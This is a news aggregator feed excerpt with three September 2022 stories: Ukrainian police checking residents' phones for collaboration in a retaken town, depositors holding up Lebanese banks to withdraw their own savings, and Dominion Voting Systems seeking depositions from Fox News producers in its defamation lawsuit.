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]]> https://briefnews.eu/professional-fakers-are-charging-people-up-to-150-an-hour-to-sit-in-their-job-interviews-for-them/feed/ 0 People in a retaken Ukrainian town had their phones checked to see if they had collaborated with Russia, report says https://briefnews.eu/people-in-a-retaken-ukrainian-town-had-their-phones-checked-to-see-if-they-had-collaborated-with-russia-report-says/ https://briefnews.eu/people-in-a-retaken-ukrainian-town-had-their-phones-checked-to-see-if-they-had-collaborated-with-russia-report-says/#respond Thu, 15 Sep 2022 15:18:44 +0000 https://briefnews.eu/people-in-a-retaken-ukrainian-town-had-their-phones-checked-to-see-if-they-had-collaborated-with-russia-report-says/ A Ukrainian soldier helps another adjust a blue identification ribbon on his sleeve in the recently retaken Kupiansk in the Kharkiv region of Ukraine on Sept. 14, 2022.
A Ukrainian soldier helps another adjust a blue identification ribbon on his sleeve in the recently retaken Kupiansk in the Kharkiv region of Ukraine on Sept. 14, 2022.

AP Photo/Kostiantyn Liberov

  • Locals of a retaken Ukrainian town reportedly had their phones checked for any signs of collaboration with Russian occupiers.
  • Residents of Shevchenkove lined up outside of a police station to have their phones checked days after the town was reclaimed, CNN reported.
  • In recent days, Ukrainian forces reclaimed large swaths of territory from Russian occupation.

Residents of a Ukrainian town that's been newly reclaimed from Russian occupation in a counteroffensive amid Moscow's war with the country have reportedly had their phones checked for any evidence of collaboration with the Kremlin's forces. 

Days after Ukrainian forces took back the Kharkiv settlement of Shevchenkove, locals of the largely deserted small town in northeastern Ukraine lined up outside of a police station so that authorities could check whether they had collaborated with the Russian occupiers, CNN reported on Thursday. 

Police in Kharkiv, Ukraine's second-largest city, refused to say what would happen to anyone suspected of working with Russian troops, according to the news outlet, which reported that Ukrainian officials have threatened criminal sanctions for those who have collaborated with the occupiers. 

A woman from the town, which had been occupied by Russian forces since the beginning of the nearly seven-month-long war, said she was racked with guilt over how she had to take food given out by the Russians. 

"We couldn't buy anything in the shops," 73-year-old Larisa Kharkivska told CNN. "And we couldn't get money because the banks were closed, so we had to stand there like beggars." 

Kharkivska said she and her daughter were "terrified to go outside" their home to the sights of Russian soldiers parading around with automatic weapons. 

"We survived, thank God, we survived! But it was very frightening. We just hope they never come back," said Kharkivska. 

In recent days, Ukrainian forces reclaimed territory in the Kharkiv region from Russian occupation in a lightning-fast counteroffensive.

Ukrainian President Volodymyr Zelenskyy said on Tuesday that "stabilization measures" were being carried out in the reclaimed land. 

"Remnants of occupiers and sabotage groups are being detected, collaborators are being detained and full security is being restored," said Zelenskyy.

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]]> https://briefnews.eu/people-in-a-retaken-ukrainian-town-had-their-phones-checked-to-see-if-they-had-collaborated-with-russia-report-says/feed/ 0 People in Lebanon are holding up banks to withdraw their own money amid the country’s financial crisis https://briefnews.eu/people-in-lebanon-are-holding-up-banks-to-withdraw-their-own-money-amid-the-countrys-financial-crisis/ https://briefnews.eu/people-in-lebanon-are-holding-up-banks-to-withdraw-their-own-money-amid-the-countrys-financial-crisis/#respond Thu, 15 Sep 2022 07:04:13 +0000 https://briefnews.eu/people-in-lebanon-are-holding-up-banks-to-withdraw-their-own-money-amid-the-countrys-financial-crisis/ A Lebanese policeman stands guard next to a bank window that was broken by depositors to exit the bank after attacking it trying to get their money, in Beirut, Lebanon, Wednesday, Sept. 14, 2022.
A Lebanese policeman stands guard next to a bank window that was broken by depositors on Wednesday, Sept. 14, 2022.

Hussein Malla/Associated Press

  • Two people in Lebanon staged bank holdups Wednesday, demanding money from their own bank accounts.
  • One of them said she needed to withdraw money for her sister's cancer treatment.
  • Banks in crisis-hit Lebanon have been limiting the amount of money depositors can withdraw.

Two people in Lebanon held up two different banks on Wednesday as they demanded withdrawals of their own money.

In the first incident, a woman armed with a gun held up a branch of the BLOM Bank in the capital of Beirut, according to various media reports. She was accompanied by activists and said her gun was a toy, according to the Associated Press, citing the local Al-Jadeed TV.

The woman managed to get $ 13,000 from her deposits, which she said totaled $ 20,000, per the AP. She said she needed the funds for her sister's cancer treatment and had gone to the bank repeatedly to withdraw her own money, only to be told she could only get $ 200 a month.

"I had begged the branch manager before for my money, and I told him my sister was dying, didn't have much time left," she said in the interview, per the AP. "I reached a point where I had nothing else to lose."

She said she had even considered selling her kidney so her sister could get treated.

Shortly after the first incident, an armed man held up a Bankmed branch in Aley, a mountain city in southeast Lebanon, Reuters reported, citing a depositors' advocacy group and a security source. The man got some of his savings out of his account.

Lebanon has been in an economic crisis since 2019 as result of government mismanagement. To prevent capital flight, the country's banks have been limiting the amount of money people can withdraw from their bank accounts, severely impacting the everyday lives of ordinary citizens.

In August, an armed man held employees and customers at a Lebanese bank hostage after he was told he couldn't withdraw $ 200,000 from his bank account for his sick father's treatment. The man was cheered on by a crowd outside the bank.

A senior Lebanese banker told Reuters the incidents may prompt copycat actions.

"I think this is an invitation for other people to do the same. As long as people get away with it, they will continue," the banker told the news agency on condition of anonymity.

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]]> https://briefnews.eu/people-in-lebanon-are-holding-up-banks-to-withdraw-their-own-money-amid-the-countrys-financial-crisis/feed/ 0 Dominion Voting Systems wants to question several Tucker Carlson and Lou Dobbs producers in their sprawling election conspiracy lawsuit against Fox News https://briefnews.eu/dominion-voting-systems-wants-to-question-several-tucker-carlson-and-lou-dobbs-producers-in-their-sprawling-election-conspiracy-lawsuit-against-fox-news/ https://briefnews.eu/dominion-voting-systems-wants-to-question-several-tucker-carlson-and-lou-dobbs-producers-in-their-sprawling-election-conspiracy-lawsuit-against-fox-news/#respond Thu, 15 Sep 2022 05:46:09 +0000 https://briefnews.eu/dominion-voting-systems-wants-to-question-several-tucker-carlson-and-lou-dobbs-producers-in-their-sprawling-election-conspiracy-lawsuit-against-fox-news/ Fox News
Former Special Counsel Robert Mueller's testimony to Congress is shown on a screen outside of the Fox News headquarters on July 24, 2019 in New York City. Mueller is testifying before the House Judiciary Committee and House Intelligence Committee in back-to-back hearings on Capitol Hill.

Drew Angerer/Getty Images

Lawyers representing Dominion Voting Systems is now asking producers for Tucker Carlson to sit for depositions in their sprawling $ 1.6 billion election defamation lawsuit against Fox News.

According to a series of filings this week, Dominion has asked Justin Wells, Eldad Yaron, Alex Pfieffer, producers for Tucker Carlson, as well as John Fawcett, a former associate producer for former Fox host Lou Dobbs to sit for depositions by the end of September.

On March 26, 2021, Dominion filed a defamation lawsuit against Fox News seeking $ 1.6 billion in damages, claiming that the network gave prominence to the election-fraud claims as a tactic to revive viewership as ratings dropped after President Donald Trump's loss.

Dominion manufactures and sells electronic voting hardware, software, and voting machines, and was repeatedly targeted with conspiracies in the wake of the 2020 election.

And in the company's lawsuit, Dominion claimed that Fox News "sold a false story of election fraud in order to serve its own commercial purposes, severely injuring Dominion in the process."

Two months later, Fox News filed to dismiss the motion, and by December 2021, a judge had rejected Fox's motion.

"We are confident we will prevail as freedom of the press is foundational to our democracy and must be protected, in addition to the damages claims being outrageous, unsupported and not rooted in sound financial analysis, serving as nothing more than a flagrant attempt to deter our journalists from doing their jobs," a spokesperson for Fox News told Insider in a statement. 

Attorneys for Fox News did not immediately return Insider's request for comment. 

The case is set to go to trial in April 2023, and the voting company will aim to use key testimonies from the producers to build its case. 

In June, Delaware Superior Court Judge Eric M. Davis ruled that Dominion's lawsuit could move forward including claims against Fox Corporation, Fox News's parent company run by Rupert and Lachlan Murdoch.

Davis argued that Fox News's parent company Fox Corporation could also be found to be liable for pushing and directing the campaign of election lies, particularly after Fox News called Arizona for Joe Biden and as the network sought to regain lost viewers from right-wing channels like Newsmax and One America News Network.

In February 2021, another voting systems company, Smartmatic, filed a defamation lawsuit against Fox News, Sidney Powell, Rudy Giuliani, and current and former hosts, which is moving forward in New York.

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